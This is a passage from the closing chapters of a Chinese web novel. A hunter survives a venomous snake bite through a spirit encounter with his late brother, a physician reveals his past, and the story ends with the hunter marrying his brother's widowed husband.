因为乌雪不停的叫,将凌星和沈归从痛楚情绪中拉回一些。 凌星顺着乌雪吠叫的方向看去,那什么都没有。 而下一瞬,凌星放在沈回心脏处的掌心,感受到了跳动。 他猛地低头,耳朵贴在沈回心脏处。 扑通,扑通,扑通—— 凌星笑着落泪,急忙抬头对沈归道:“他还有心跳!快下山找大夫!” 沈归难以置信,五步蛇之所以叫五步蛇,就是因其毒性极强。 人被咬后,只用五步的时间,便可毒素蔓延,中毒身亡。 他二哥能坚持那样久,已经是奇迹。 怎么可能又活过来? 沈归不太相信,心里却是饱含期待。 他也趴在沈回心口处听,真的是心跳声! 太好了! “我这就背二哥下山!” 沈归准备背起沈回时,看到躺在地上,唇色发紫脸色青黑,口鼻流血的楚天赐。 和他二哥一样,中五步蛇毒,毒发的样子。 这是他媳妇的第一个孩子。 沈归皱眉,快速听一下他的心口,又探一下他的鼻息。 没气了,人死了。 确认后,沈归没有再耽误时间,背起沈回就朝着山下跑。 凌星带着乌雪追上,因为速度快,又受过惊吓,凌星有些不稳,一路上摔了几次,脸上身上都是擦伤。 三人一狗到家,沈家乱了起来。 好在沈呈山和徐有芳经历过事,很快镇定。 家里之前说养马,不过一直没买,这会要去看大夫,还要去村长家借牛车。 牛车到镇上,不如人背着从小路走去镇上快。 最后决定沈呈山,沈归还有赵长命三人背着沈回,从山间的那条近路跑去镇上。 沈燕要带孩子,曹满月也要照看小春小夏,她们在家里看家。 凌月和徐有芳跟着一起去,乌雪也跟在后面,一路上十分警惕,怕突然有东西蹿出来。 到了镇上最大的医馆,大夫看一眼就说要去县城。 县里有车马行,沈家人租了两辆马车,又以最快速度去县城的医馆。 最近的医馆,就是沈来学医的银杏医馆。 裴医是林清渝都说好,堪比御医。凌星与其接触下来,也感觉他是属于那种厉害,但藏着并不展露的人。 云水县怕是找不出第二个比裴医医术更好的,凌星叫车夫直接去银杏医馆。 沈来正跟着裴医学针灸呢,他的针灸学的越来越难,师父也越发严格。 虽然之前也挺严格的。 但这次学的这个,师父格外在意,一点错都不允许他犯。 要是错了,要罚悬针四个时辰。 他今日就把穴位插偏了一些,正受罚捏着针悬空,不让手臂抖动。 外间,辛夷突然闯进来,上气不接下气的喘道:“不好了老大!你二哥被五步蛇咬了,师父喊你去帮忙!” 沈来闻言心神一凛,捏着针就往外跑。 五步蛇,那可是剧毒无比啊! 他二哥不管在哪被咬,这会来医馆,当真还活着吗? 医馆大堂有屏风隔离,沈家人和乌雪全在屏风外。 沈回躺在木板床上,他身形高大,将木板床完全占据,腿还伸出去许多。 裴医叫半夏端了凳子,让沈回的腿搭在上面。 沈来跑过来的时候,裴医已经剪开沈回小腿的裤子,在为他扎针,逼毒。 看到沈来,裴医对他招招手。 “来了正好,把你二哥上衣脱掉,待会师父说穴位,你来施针。” 沈来不敢。 “师父来吧,我才学了没多久,我怕扎错了。” 他二哥中了蛇毒,性命垂危,他真的怕出错,无法挽回。 裴医道:“小五,不实践你永远也没办法迈进下一层。我会在边上一直看着,及时纠正,你还怕什么?” 沈来看他二哥昏迷不醒,哪里敢再耽误时间,只得点头。 既然师父这样说,那肯定是有十足把握的。 他二哥应该没什么大碍。 可能是家里人认错蛇,咬二哥的并不是五步蛇,而是毒素没那么强的毒蛇。 屏风里,师徒二人皆是满头大汗,半夏在这里时不时给二人擦汗。 沈回的身上扎满了针,看起来着实可怕。 但身上也慢慢的在恢复血色,裴医看着明显的变化,眉头紧皱。 他能确定,沈回就是中了五步蛇毒。 按理说早就活不成,可他不仅撑着从山上下来,还从村子里一路到县城。 中间的这些时间,足够沈回死千百次。 他不仅没死,甚至在快速恢复。 真是奇怪。 难道之前沈回吃了什么,中和了蛇毒? 裴医想不通,正好也扎好,就等着时间到拔针就行。 他准备出去问问沈家人具体情况。 屏风外一片安静,都焦急的看向屏风。 期盼着能得到好消息。 裴医出来,外头所有人都第一时间迎上去。 “大夫,二郎他怎么样了?”沈呈山问道。 裴医神情略显疲惫,“恢复的还不错,应该明天就能醒。” 他看一眼人群,直接问:“此前你们有给他吃过什么东西吗?” 凌星仔细想了想,把今天沈回吃的东西都说一遍。 裴医听着,感觉能让沈回一直撑着一口气,对抗五步蛇毒的东西,不会是说的这些。 那看来,就只能说是神迹了。 他转身离开时,还是对沈家人提醒道:“后面别说沈回是被五步蛇咬的,那种蛇咬一口,五步时间必死。” 言下之意,就是沈回被咬后的这个情况才是不正常。 要是不想引起注目轰动,安稳度日,还是隐瞒比较好。 沈呈山和徐有芳一下就听明白,点头多谢了裴医的提醒。 晚上是紧要关头,沈回也不能移动太远距离。 裴医让辛夷收拾出一间屋子让沈回住,需要有人在这边彻夜守着。又不想太多人在这,人多容易生乱。 “守夜只要一个人,其他人都回去,明天再来。留下的人选你们自己商量。” 说罢便去抓药熬制药膏,也不管沈家到底留谁下来。 徐有芳看着失魂落魄的凌星,拉住想要守夜的沈来,“叫你大哥夫守吧。” 不然她怕星哥儿撑不住。 沈来心中隐约觉得不对劲,守夜辛苦,大哥夫又是哥儿,身份上还需要避讳一些的。 怎么娘连这些都忘了? 但他心里也乱糟糟的,没太深想。 裴医知道是凌星守夜时,倒是多看凌星和沈回一眼,没说什么。 只叮嘱凌星一些注意事项,他就在院子里主屋,有什么情况去叫他便可。 夜深人静,凌星在寂静之中,过往的记忆在脑海中一一闪过。 初见时,沈回替兄长与他拜堂成婚。 后来的每一天,他都在被沈回照顾着,关心着。 他不知道沈回是什么时候对自己动了心思,就像他自己也不知道,原来沈回在他心中这样重要。 长久的相处陪伴中,爱意在察觉不到的角落滋生。等发觉时,早已无处追寻,哪里是感情萌发的初始。 凌星坐在床榻边,控制不住流泪。 牵起沈回的手,将他宽大的手掌贴在脸上,轻轻蹭动。 “你不是说想娶我?醒来再和我说一遍好吗?” 凌星贴着沈回的手,感受着他的气息。 过了许久,他哭累了,趴在床边睡着。 梦里凌星似乎看见沈回朝着他跑过来,喊他宝贝,叫他别哭,一直在帮他擦眼泪。 沈回的指腹因常年打猎,有茧子,眼周的皮肤很容易被蹭的生疼。 凌星疼的往后缩,沈回却不放他。 坏笑着凑上来要亲他的眼睛,哄着他不要再哭。 凌星没有和人有过如此的亲密接触,一时间羞的满脸通红,情绪太强烈导致他刷的一下睁开眼睛。 睁眼那一刻有些懊悔,怎么做梦还这么害羞。 不然能多见见沈回了。 “醒了?” 凌星揉揉眼睛,“嗯。” 很快,凌星动作一滞,猛地低头,发现沈回脸色苍白,正笑着看他。 “你醒了!” 凌星眼睛一亮,整个人都清醒。 他高兴的不知如何是好,摸摸沈回的脸,又摸摸他的身体。摸不出个所以然,才想到要去找裴医来看看沈回的情况。 沈回拉住凌星的手腕,“我没事,想和你说说话。” 他停顿一瞬,眼中含笑,看着凌星低声道:“宝贝。” 凌星整个人一僵,浑身一热,耳朵都红的要滴血,心跳加速。 自己说出去的话,不好收回的。 他僵硬坐下,不敢看沈回,低头嘟囔,“你竟然听到了。我以为你没听到……” 沈回指尖轻触凌星的手腕,“抬头,我想看着你。” 凌星脸红,还是乖乖照做。 一双眼睛充满喜悦,亮晶晶的盯着沈回,“你醒了就好,我都吓坏了。” 沈回抬手,轻轻蹭一下凌星哭红的眼睛。 “不会再让你这样难过了。” 现实的动作与梦境重叠,凌星更加不好意思。又想到沈回说想看他,硬是忍着没低头。 他移开视线,小声的庆幸道:“还好这个五步蛇的毒,对你没有性命之忧。” 沈回沉默片刻,“不是蛇毒没用,我活着,是因为大哥。” 凌星惊讶,“因为沈还?怎么回事?” “我看见了大哥。” 沈回想到之前看到的景象,现在想起心中还是会震荡。 那时的他应该是死了。 他能感觉到人在飘着,可又能看见自己躺在地上。 想着这种情况,应该是一些志怪话本里面说的灵魂出窍。 回神时,便看见凌星捏着他的鼻尖,嘴巴对着他的嘴巴。 起初他看见,很害羞心跳的也快,后来意识到那可能是一种救人的方法。看着凌星的眼泪,也很心疼,他不想凌星难过。 最后,他只想凌星停下。他能感觉到,凌星很累很累,但一直在透支自己的身体力量在坚持。 可他伸手并无法阻止,只会穿透人的身体,触摸不到。 甚至,他的魂魄状态,越来越透明,似乎随时都会消散。 沈回无法,干脆就坐在凌星边上,看一看他。 时不时也看看沈归和乌雪。 就在他“身体”越发透明、僵硬无法动弹、脑袋逐渐空白之际,耳畔传来熟悉又陌生的声音。 “二郎……” “二郎,是我。” 沈回努力分辨着声音方向,回想声音的主人是谁。 渐渐的,僵硬无法动弹的“身体”,终于又能动起来。 沈回抬头,天空像是开了一个洞,有画面浮现,他看到了许久未见的大哥。 只是他大哥所在的地方有些奇怪,是他不曾见过的装饰。 “还好赶上了,二郎你听我说,我现在过的很好,你和家里人说,让他们不要担心我。” “你和凌哥儿的事,我也知晓。也就只有你能一边在坟头忏悔,一边又说非要不可。” “他当初因我冲喜进门,我对他心中有愧。二郎,他若不愿与你成婚结缘,你万不可逼迫他。” 沈回心中震荡,没想到还能见到大哥,更没想到大哥竟然知道他在坟头碑前,讲的那些话。 他张嘴要说话,想问沈还在哪,这到底是怎么回事。 就听沈还语速又加快,似乎很急。 “时间紧迫,你那边也不好说话,大哥就长话短说。这是你的命劫,有个很厉害的人帮你平了。” 沈还话音刚落,沈回就听见一道空灵飘渺的声音传来,“什么叫有个很厉害的人?” 下一瞬,沈还被拉到后面,画面里出现另一人。 那人发色罕见,一头长长银发。容貌清隽无比,如皎月出尘,清冷如霜。 他冷冰冰道:“我是沈还名义上的配偶,法定的伴侣。按照你们那的说法,我是沈还的夫郎。” 对方的手抬起,夹着一道符纸。 “虽然最近在单方面和你哥闹离婚,但你得叫我一声哥夫。” 指尖的符突然燃起来,“只有三秒时间,快叫。” 不容拒绝的话语,清冷孤傲的声音中,带着难以察觉的期待。 沈回敏锐的捕捉到,看一眼正温柔看着对方的兄长,开口道:“大哥夫。” 符纸燃尽,清冷的美人冷哼一声,嫌弃的甩甩手。 “看在你这声大哥夫份上,姑且告诉你些命数。那少年的一命,你已相抵。命劫破,业债消,以后一生顺遂,放心吧。” 说完对方就离开画面,但声音还在。 “我答应你的事都办完了,沈还你要是再愁的晚上不睡觉,我真的要和你离婚的!” 画面里,沈回看不到兄长做了什么。 只知道刚刚还有些生气的声音,瞬间没了动静。 而半空中的画面,也在快速消散。 沈回久久不能回神,回想着那句“命劫破,业债消”的话,他知道这些话其实不是说给他听。 而是说给他兄长听。 不是让他放心,而是让兄长放心。 突然,沈回觉得一阵眩晕,周围一片黑暗,很快就失去意识。 等意识再次回拢,便是现在。 他回到了自己的身体,彻底清醒。 此事,沈回详细的讲给凌星听。 凌星猜想着,沈还应该也是魂穿了。不过穿到哪个世界,他就不晓得了。 真好,那样温柔善良的一个人,还活着。 并且找到了属于自己的良缘。 二人说了会话,沈回终于同意凌星去找裴医。 沈来也跟过来,一双眼睛红的和兔子一样。 一看就没少哭。 就连凌月也来了,他昨天知道消息太晚,怕来了哥哥会担心,便一大早赶来。 裴医详细检查沈回的伤势,又切脉,看舌苔,问了沈回现在感觉怎么样,有没有哪里痛。 根据沈回的回答,裴医眉头一会松一会皱。 一边等着结果的三人,这心也跟着七上八下。 裴医转身拿针灸包,“倒是没有什么大概,还有些余毒,我再替你扎一针。你先把上衣脱掉。” 等拿着针灸包回头,见沈回依旧坐在床上,一动没动。 裴医眉头紧锁。 “你会唇语。”裴医肯定道。 “而现在你的耳朵听不见是不是?” 凌星三人闻言一愣,看向沈回。 沈回知道瞒不住,点头承认。 倒也不是一点听不见,凑在他耳边讲话,还是能听到一些模糊声音的。 裴医了然,难怪之前问沈回身体状况,有时候回的和问的不是一回事。 估计是他那时候头低着,沈回看他唇语看不太清楚。 “讳疾忌医,你是真一点也不想好啊,这样的情况还敢瞒着。”裴医不太高兴,冷声训人。 沈回也不是真的想隐瞒,而是他这条命是另得的。耳朵听不见也没什么,他会唇语,基本上能做到沟通无碍。 并不敢再求太多。 不过裴医不知道他真死过一次,只气沈回隐瞒病情。 知道沈回听不见后,裴医做了其他的检查。 屋子里气氛并不好,气压很低。 “师父,我二哥耳朵还能好吗?”沈来忍不住问道。 裴医收回手,“蛇毒的原因,先祖医书有一针灸术,用了后将毒素全部逼退应该能好。” 沈来高兴道:“那我们快针灸吧!” 早点把蛇毒逼退,他二哥耳朵能早点恢复。 裴医看一眼徒弟,不容乐观道:“先祖留下的医书虽有解决办法,可要逼退全部毒素,需要扎脑袋,还有耳穴……那些穴位难找,且对刺穴深度有严格的要求,多一分少一分都不行。” 沈来也蔫了一下,随后又充满期待的看裴医。 “师父能施针吗?” 裴医摇摇头,看向自己的手腕。 他伸出手,掀开衣袖,叹一口气,“为师无能为力。” 凌星三人看去,只见裴医解开手腕上缠着的布条。 布条之下的皮肤上,是一道可怖的缝合线,像一只巨型蜈蚣。 三人皆震惊不已,没想到裴医的手竟然有这样的伤。 裴医没有将那疤痕完全露出,因为疤痕的顶端,是一颗孕痣。 他是名医裴蕴的后人,先祖的医术出神入化,无人能及。 她唯一心愿就是让天下人都能习得好医术,一起钻研进步,能解决更多的疑难杂症,救治更多的人。 先祖一生未婚,救济收养无人要的女子和哥儿,把他们当亲生孩子。 受先祖影响,裴家后人一代又一代,多少都会有未婚女子哥儿行医救人,收养同样被抛弃的女婴和襁褓之中的小哥儿。 教他们医术,让他们能够好好的活于世间。 裴蕴一脉的后人,没有一个是有血缘关系。但他们都秉承先祖遗志,只想和先祖一样治病救人,教习医术,让更多人得救。 但权贵制度、世人的偏见都不允许他们的存在。 裴医重新缠绕布条,丑陋的疤痕在慢慢被遮盖,却遮盖不住当年的恶。 那男人腹部被镰刀割破,肠子都漏出来,是他用先祖医书里写的缝合法,将人从鬼门关拉出来。 就因为他脸上粘着的假胡子因汗脱落,那一家人见他是哥儿,就觉得他晦气不祥。 后面根本不按着他说的去做,最后男人伤口溃烂而亡。 那家人便全怪在他的头上,说他是哥儿,身上阴气重,吸走他们儿子的阳气,这才没撑过去死了。 他们要他一命还一命。 镰刀划开肉的瞬间,其实没什么感觉。 后面才是钻心的疼。 一次失误,被毁去了手。 从那之后,裴医一手出神入化,活人无数的针灸术和缝合术,再不能灵活施展。 他想要继承先祖遗志,不愿放弃行医。 又怕再出现这样的情况,便尝试许多方法,研配了药方。 能让哥儿喝下去后,可以和男子一样,有些喉结和长出胡须。 只要不被发现孕痣,或者衙门不公布他的籍契证明,就没人知道他是哥儿。 沈来怔愣在原地,他心疼师父手上的疤,当初一定很疼很疼。 也难过明明存在治好二哥耳朵的办法,却束手无策。 裴医很喜欢沈来,他在沈来身上,看到了当初的自己。 那个意气风发,还没有心死的自己。 思忖片刻后,裴医问道:“小五,你为了你二哥,能吃苦头吗?” 沈来毫不犹豫的点头,“我能的!” 裴医道:“师父用药让你二哥身体里的蛇毒稳定,同时教你祛毒针灸的方法。” “这个时间可能很长,一年,两年,甚至四年,五年。你每一天,都需要比现在更加努力练习,才可以达到熟练度,进行扎针。” 沈来自是不怕,他只怕他二哥撑不了那么久。 “二哥体内的余毒,真的能撑到我学会吗?” 裴医转头看一眼沈回,随后道:“别人不行,你二哥行。” 也不知是哪里的际遇,沈回体内正保持着一个稳定的平衡。 沈回除耳朵听不见外,没别的不好。 如沈回自己描述,也不是完全听不见,凑近还是能听到点声音的。 眼下其实就算什么也不做,沈回也不会毒发。 但裴医为以防万一,还是喝一些抑制毒素的药比较好。 医馆这边环境不如家中安静。 为了能静心的养伤,裴医让沈回去家里休养。 糖水铺子有谢青崖,小吃铺子有柳青玉。 凌月和沈来也有王隽、裴医照看,凌星干脆也回村子里去。 等沈回的伤好些再回县城。 曹满月已经从沈归那知道,沈回的伤是楚天赐弄的。 而且在山上的时候,沈回曾心跳停止过。 曹满月不敢深想,光是听听,就吓得一头冷汗。 如果楚天赐真的杀了二哥,她是没有脸再在沈家待着了。 同时,她也知道,楚天赐毒发身亡了。 这个孩子,从小就是个恶魔。 曹满月听到他身亡的消息,没有难过也没有高兴,只是恍惚。 觉得不真实。 是楚天赐要毒杀人在前,后面自己被毒蛇咬,没挺过来,也是命吧。 他活着,不知要多恨沈家,多恨她。 按着楚天赐的性子,再过几年风头又过去不少,他可以摸下山的话,会杀沈家全家。 曹满月太了解他了。 比起其他的情绪,她现在更多的就是愧疚。 好在二哥没事,真是谢天谢地。 沈回和凌星回到家,沈来也替他师父走一趟,给他二哥扎最后一次针。 后面就只用喝药压制一下毒素就好,其他的灯他学完祛毒针灸再说。 拔完针后,一家人关上门,沈回将山上看到沈还的事情又和家里人说了。 听说沈回死过一次,还以魂魄形态看到沈还,徐有芳用帕子捂着嘴哭起来。 她又高兴大郎或许在某个地方活着,又因二郎险些真的与他们天人永隔而后怕。 曹满月也一样后怕不已,心里一个劲的念叨:多谢大哥相救!多谢大哥相救! 沈家人听说沈还可能在他们不知道的地方活着,心情也轻松许多。 家里的气氛明显比之前活跃许多,光沈呈山和徐有芳脸上笑就多不少。 沈回的事,林县令也知道了。 他派人送了不少名贵的药材和补品来,还有一封只有沈回知道的密信。 林家主家那边同意了沈回的要求,最迟明年四月,就能将周拓换下来。 所以,沈回耳朵听不见一事,除了现在知道的这些,不能再让别人知道。 此事沈回也有考虑。 如今知晓的就只有家里人,还有裴医,谢青崖以及王隽。 回家前,沈回就叮嘱过他们,不要再往外说,这是个秘密。 都是自己人,能够信任。 凌星每天在家里陪着沈回,每天都被人折腾的面红耳赤。 仗着自己听不见,凌星怎么喊也不应,一旦伸手碰他,就直接抓着凌星的手。 这人力气大,凌星又挣脱不了。 每次都是挣扎一下,然后随他去。 有时候还会哄凌星贴着他耳朵讲话,凌星说的口干舌燥,还是哄着继续说。 就是为了和凌星贴的更近,耳朵听不见了,心眼却坏的很。 徐有芳都看不下去,这星哥儿就像个小白兔一样,成天被她家那黑心肝的老二哄着玩。 不过看着两孩子是两情相悦,也松一口气。 这段时间在家里,好好的培养感情也好。 开春看看能不能解决户籍问题,早点把婚事定下,才能彻底安心。 又是一年过年。 沈来和凌月从县城赶回家,同行的还有谢青崖和王隽。 之前谢青崖就和凌星说好,今年他们一起过年。 谢青崖和王隽去沈家打了声招呼,就回自己家去收拾。 村子里关于他们的闲言碎语肯定是有,不过随着沈家生意越做越大,就算是为了不得罪沈家,明面上也是没有人嚼舌根子的。 周围邻里看到他们回来,还都笑着打招呼,问要不要帮忙。 谢青崖和王隽如今穿的好,气色也好,与在村子里时完全不一样。 邻居们瞧着他们富贵的样子,即便是要帮他们忙,也有些不太敢同二人说话。 总觉得高攀不上。 谢青崖不想不愉快,乐得保持表面和谐,至少在他面前大家的态度他是很满意的。 因此,他没拒绝邻居们说的帮忙。 正好手里的活多,他也能省劲。 谢青崖几人刚回来没多久,林清渝也来了小柳村。 他坐的马车格外朴素,并不惹眼。 天气冷的很。 林清渝穿着大氅,头戴狐皮帽,手里还揣着毛手捂。到沈家家门口下车,悠哉的像逛花园,一路逛进沈回屋里。 屋里空间比之前大不少,林清渝坐在椅子上,喝着热茶。 沈呈山,徐有芳还有凌星三人也在,二老见过大人物,如今见县令也很放得开。 凌星与林县令相熟,更不会拘束了。 四人都看向林清渝,等着他喝完茶说事。 大老远的跑过来,肯定是有事说,而且还不是能叫别人知道的事。 林清渝慢悠悠喝完一杯茶,缓过那阵冷劲,这才开口,“上面动作的比我想的快,沈回你要是想娶凌哥儿的话,最好在任书下发,接收上任之前成婚。” “这样一来,能避免你任上成婚,被人揪着瞎做文章。” 说到成婚,一屋子的人都沉默了。 沈家二老是没想到林县令还知道这些,帮着一起操心。沈回是高兴的,凌星是不太好意思的。 沈回感受喉咙震动的频率弧度,控制音量,“可阿月还不到年岁,户籍没办法移出去。” 林清渝摆摆手。 “户籍而已,都是小事。” 他道:“本官上任那年,就制定了一项政令,修建善堂,收留无家可归的女子哥儿。也收留寡妇寡夫,让他们能有个遮风挡雨的地方。” “不过那周拓一直阻挠,生怕本官得到好名声。结果就是善堂修是修了,不过没几个人知道。凌哥儿可以先把户籍挂在善堂,脱离沈家。” 林清渝想了一下提议,“正好周拓最近自顾不暇,也没空关注这些小事。回去后,本官就能帮着转出去。等成婚之后,再重新更改户籍。时间上有些跨度,也好看些。” 这话沈呈山、徐有芳老两口不敢点头,沈回也不敢。 他们看凌星。 沈回紧张的不行,颤抖着声问:“星哥儿,你愿意与我成婚吗?” 凌星听到沈回喊他,莫名松一口气。 这些日子,沈回因为他的那句话,总爱喊他宝贝。 他真怕这家伙当着长辈们的面,张口就来一句宝贝。 然后,他就看沈回用唇语对他喊了一声,“宝贝。” 凌星脸都要烫熟了,狠狠的瞪了沈回一眼,随后扭头轻笑,“成。” 二老松一口气,连忙对林县令点头。 沈回视线烫人,还好有理智,知道有人在,要收敛些。 户籍的事好解决,难解决的是善堂。 这是林清渝来这的另一个目的。 善堂的初衷是好,但林清渝也知道,随着后面的发展或许会变了味道。 可不管怎样,不能什么也不做。 林清渝看向沈回,认真道:“善堂是本官想要做好的。沈回,你后面若接手,本官希望它不再被埋没。” 沈回郑重点头。 “我会的,大人。” 林清渝相信沈回,愿意托付。 他是躲着县衙眼线来的,沈回成婚一事,越少人知道越好。 因不能在外面太久时间,说完话林清渝就上马车回县衙。 沈来和凌月两孩子这段时间都很累,一个拼命学针灸,一个拼命读书。 肉眼可见的瘦不少,林县令刚走,就各自回屋睡着了。 沈家的大人们,则是在堂屋烤着火,商量婚期。 虽说户籍年前就转出去,但过年的时候太冷,也太赶,不宜成婚。 商议之下,沈回和凌星的婚期就定在三月下旬。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 【正文完】 第92章 第 92 章 正文完 今年沈家过了个不太一样的年, 因为凌星的身份转变,又还没和沈回成婚,一时间沈归几个平辈的,都不知道怎么称呼他。 沈来倒是没觉得有什么, 张嘴还是喊哥夫。 管他大哥夫二哥夫, 都是他沈小五的哥夫! 于是沈归几人干脆跟着沈来一样,就喊哥夫。 年三十, 一家人在堂屋守岁。 谢青崖和王隽都在, 大人们的话题在沈来的学医, 凌月的学业,凌星和沈回婚事上来回切换。 当事人之一的沈来, 挪到在火盆边, 捧着书看的凌月身侧。 他悄声问道:“阿月,你知道哥夫和二哥他们两是什么时候的事吗?” 他不信全家就他一个人没看出来。 凌月翻着书页,不忘回他, “一直都觉得沈二哥对哥哥的好,不太一样。” 沈来悄悄碎了。 感情全家真就只有他一点没察觉吗? 小春小夏也说之前感觉到不一样。 沈来想不通, 哪不一样啊? 他咋一点感觉不到? 沈来抓抓脑袋,算了不想了。 头疼。 等过完年回去问问师父,看看祖师奶奶有没有留什么针灸术,扎了能让人变更聪明的。 有的话, 他扎几针试试。 …… 年后沈家彻底忙起来。 凌星除了阿月没有亲人, 下定换庚帖这些都是谢青崖和徐有芳帮他操办。 为了少些闲言碎语, 凌星过完年就回了县城, 沈来和凌月也回去了。 沈回留在家中。 在成婚前,他不能再和凌星见面。 两个多月的时间,他忍。 忙起来时, 时间过的很快。 凌星在成婚日子来之前,还给糖水铺子上了道红豆年糕甜粥,又给小吃铺子上了煎饼果子还有酸辣粉。 小吃铺子位置不太够,凌星现在不差钱,又找牙行帮忙看铺子,开个小吃铺子二号店。 凌星事业风生水起,感情也要修成正果。 虽然因各种原因,谈恋爱期间很短,但他和沈回是真的相处很长时间了。 忙碌之余,他也会想起沈回,脸上不自觉的挂着笑。 林清渝近来同沈回和凌星一样,忙的很。 之前沈回给的东西起作用,他现在配合主家行动,范同流的事已经捅出去。 账本上,周拓的名字也在上面,他也逃不掉。 府城官场和云水县官场风云涌动,百姓们感受不到,也不关心。 有那时间,不如多想想什么时间买什么东西能便宜。 三月中下旬,林清渝派心腹送密信给沈回。 朝廷任书已下。 他得快点成亲了。 家里定的日子正好,是在任书下来之后,抵达之前。 成婚前一日,徐有芳来了一趟县里,找凌星。 她神神秘秘给了凌星一个小盒子。 “星哥儿,这是娘给你备的哥儿同房册子。你今天好好看看。” 徐有芳说着也脸红。 但她不说的话,他家星哥儿唯一的哥儿好友青哥儿,又是个看起来不在意,实则也是个面皮薄的,也张不了口。 那就没人说了。 凌星在她心里,早就和亲生的哥儿没两样,这些也都是当娘的在家中女儿,哥儿出嫁前该教的。 她把木盒子塞凌星怀里,看着凌星红透不敢抬的脸,忍着笑又递过去一个东西。 “二郎什么样,娘知道。他这孩子,没多少喜欢在意的。可他一旦喜欢在意什么,谁都不能从他手里拿走。” “你身子骨弱,他是个混不吝。娘怕你吃亏,给你备了把戒尺。你放枕头下,要是……要是二郎犯混欺负……你狠了,你就拿这个打他,知道不?” 徐有芳说这些也张不开口,又真的担心凌星,好歹磕磕巴巴的把话说全了。 她了解过,戒尺打人可疼,一下拍下去,就算是狼也得松开嘴里的肉。 就不信二郎不松口! 后面的话徐有芳憋住没说。 凌星脸已经红的不能看,万万没想到徐有芳会和他说这些。 现在他只晓得点头,徐有芳说什么,他都答应。 小柳村沈家二郎要娶妻了。 娶的还是亡故大哥的夫郎。 这几个月里,沈家早已把村子里的闲言碎语压下,确保凌星嫁过来,不会受到非议。 消息刚出来的时候,村子里不是没人议论。 结果就是前一天说的话,家里替沈家干活的人后一天被开除的。 沈家的态度强硬,也很明确。 谁说什么不中听的,就整治谁。 除名不给活干,是有些威慑,不过还差些火候。有些破罐子破摔的,嘴上不饶,说话实在难听。 彻底没声,是因为沈回中举的消息,终于传到云水县。 县衙又派人去小柳村通知。 白身与童生差着阶级,童生与秀才差着地位,秀才与举人,差着阶层。 秀才免一家税,护一家人。 举人免一方税,护一方人。 讨好了举人老爷,你家就能免税。 这样大的诱惑,没人抵挡的住。 周围五个村子的范围,都能受沈回举人身份的庇护。 别说嚼舌根子了,往后出去要是被他们听到有其他村人嚼这舌根子,影响了沈回的名声,他们都能上去把人嘴给撕烂。 开玩笑,举人要是因此受罚,那他们还能免税吗! 小柳村的村民,比其它四个村的还嘴严,就连私底下都不敢讨论。 祝村长夫妇二人更是三天两头跑来沈家,问要不要帮忙。 虽说沈回一下子庇护五个村子,但他们才是本村人嘛,肯定会对本村更好点的。 其他四个村子的村长想来献殷勤,那沈家都打发走了,不让人再来呢。 祝村长整天乐呵呵的,活像他家儿子娶夫郎。 到了沈回娶亲这天。 村口放起百米长的鞭炮,炸开的红纸像红梅,在地面上铺了一层。 小柳村的村民们全都出动,喜笑颜开的在路两侧迎亲。 做工精致的大轿子,由六个轿夫抬着。 乐队演奏着喜庆的乐声,凌星穿着红色喜服,头发束起,用红绸绑着。 他听着有些耳熟的喜乐,想起穿来的第一天,也是这个乐声,送他进了沈家。 与沈回拜了高堂。 不过那时候的他,是沈还的夫郎。 “新郎官来迎夫郎嘞!” 外面喜婆一声高喊,轿子帘被掀开。 凌星抬头,看到一身喜服的沈回,正目光沉沉的看他。 高大的身影探进轿子,帘子散下。 本来还有些大的空间,瞬间变的逼仄起来。 沈回抬起凌星的脸,轻轻落下一吻在他眼上。 睫毛轻颤,心悸难安的凌星听到沈回说:“别怕,我背你走。” 沈回笑着背起凌星,出了轿门。 他看到亲人和村民们在两侧拍手道喜,想到最初摆摊时,他就是这样背着凌星的。 在那一日又一日的相处中,让他生出了想要光明正大,一直背着凌星的想法。 历经重重,他终于能够当着所有人的面,接受大家的祝福,背着他的星星回家。 正文完魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】